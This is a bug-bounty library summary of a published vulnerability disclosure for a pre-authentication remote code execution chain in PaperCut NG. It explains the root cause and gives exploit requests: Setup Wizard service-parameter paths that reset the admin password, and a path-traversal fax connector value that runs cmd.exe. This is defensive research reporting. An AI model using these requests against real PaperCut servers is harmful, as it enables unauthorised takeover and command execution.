# Death By A Thousand PaperCuts (PaperCut Pre-Auth RCE Chain and Patch Bypasses WT-2026-0141-0144/CVE-2026-82077/CVE-2026-82078/CVE-2026-81578)

Tapestry service-param auth bypass reaches Setup Wizard forms to reset admin password, then unvalidated providerConnector path traversal in Scan-to-Fax yields RCE on PaperCut.

- Payout: Real-world hack
- Severity: critical
- Program: PaperCut
- Found by (vendor credit): Piotr Bazydlo (@chudyPB) of watchTowr
- Analysis by: Piotr Bazydlo (@chudyPB)
- Disclosed: 2026-10-09
- CVE: CVE-2026-82077, CVE-2026-81578, CVE-2026-82078
- Write-up quality: 9/10
- Original: https://labs.watchtowr.com/death-by-a-thousand-papercuts-papercut-pre-auth-rce-chain-and-patch-bypasses-wt-2026-0141-0144-cve-2026-82077-cve-2026-82078-cve-2026-81578/
- Library page: https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-death-by-a-thousand-papercuts-papercut-pre-auth-rce-chain-and-patch-bypasses-wt-2026-0141-0144-cve-20
- Tags: area:web domain:web impact:ato impact:rce kind:incident platform:research sev:critical tech:java technique:chained technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:path-traversal vuln:rce

**Target:** PaperCut NG web app (Apache Tapestry 3) and Scan to Fax service
**Root cause:** Tapestry invokes only the root page's pageValidate, so chaining Home with SetupAdmin forms skips BaseSetupPage's setup-completed check; separately, ScanFaxJob.providerConnector is concatenated into the fax binary path without validation, allowing relative path traversal to any executable.
**Steps:**
1. POST `/app?service=direct/1/Home/SetupAdmin/$Form` to change the admin password pre-auth
2. POST `/app?service=direct/1/Home/SetupOrgType/$Form` to set organization type
3. POST `/app?service=direct/1/Home/SetupUserSource/$Form` to pick user sync source (none in PoC)
4. POST `/app?service=direct/1/Home/SetupVerify/$Form` to confirm setup completion
5. Log in as admin and set `system.scan.fax.send.command-args` to `/c whoami` via Config Editor
6. Send `POST /app` with `scanActionType=FAX&label=test&faxProviderModel=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Ccmd` to trigger fax job
7. Command executes via ProcessUtils.execAndGetOutput with traversed binary path
**How found:** Started from PaperCut's ITW IOCs with no patch, reproduced the post-auth RCE, then patch-diffed 26.0.4 and later builds; noticed Setup Wizard pages were never covered by manual authorization checks and that Tapestry only validates the root page, then hunted remaining functionality reaching OS command execution and settled on Scan to Fax.
**Exploitation:** Unauthenticated attacker chains the Tapestry service-parameter bypass to force the Setup Wizard flow and reset the admin password, then authenticates and abuses Scan to Fax: providerConnector is path-traversed to cmd.exe and the fax command-args template is set to /c whoami, so runCommand executes arbitrary OS commands.
**Escalation:** Auth bypass (WT-2026-0143) combined with post-auth RCE (CVE-2026-82077) converts an authenticated-only RCE into a full unauthenticated RCE chain against 26.0.4-PO build 76508.
**Insight:** When a framework only authorizes the root page named in a service/multi-page parameter, look for legacy wizard/setup pages that extend a different base class and were skipped by manual per-page auth patches; also audit any config-driven command template where a user-supplied connector name is concatenated into an executable path.

## Proof of concept (copied exactly from the original report)

**Setup wizard auth bypass service parameter requests**

```
POST /app?service=direct/1/Home/SetupAdmin/$Form - Change the admin's password here.
- POST /app?service=direct/1/Home/SetupOrgType/$Form - Set the organization type here.
- POST /app?service=direct/1/Home/SetupUserSource/$Form - Pick user synchronization sources here (we chose to perform no synchronization in our PoC).
- POST /app?service=direct/1/Home/SetupVerify/$Form - Confirm that the setup is completed here.
```

**Fax RCE request with path traversal connector**

```
POST /app HTTP/1.1
Host: target:9191
Origin: <http://target:9191>
Cookie: org.apache.tapestry.locale=en; JSESSIONID=cookie
Content-Length: 6853
Content-Type: application/x-www-form-urlencoded

scanActionType=FAX&label=test&faxProviderModel=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Ccmd&...removedforreadability...
```

**Tapestry service parameter auth bypass request**

```
service=direct/1/LogonMessage/ConfigEditor/quickFindForm
```

## Write-ups of the same bug (oldest first)
- 2026-08-28: [PaperCut Zero-Day: Active Exploitation and Pre-Auth RCE](https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-papercut-actively-exploited) — Huntress
- 2026-10-09: [Death By A Thousand PaperCuts (PaperCut Pre-Auth RCE Chain and Patch Bypasses WT-2026-0141-0144/CVE-2026-82077/CVE-2026-82078/CVE-2026-81578)](https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-death-by-a-thousand-papercuts-papercut-pre-auth-rce-chain-and-patch-bypasses-wt-2026-0141-0144-cve-20) — Piotr Bazydlo (@chudyPB) (this one)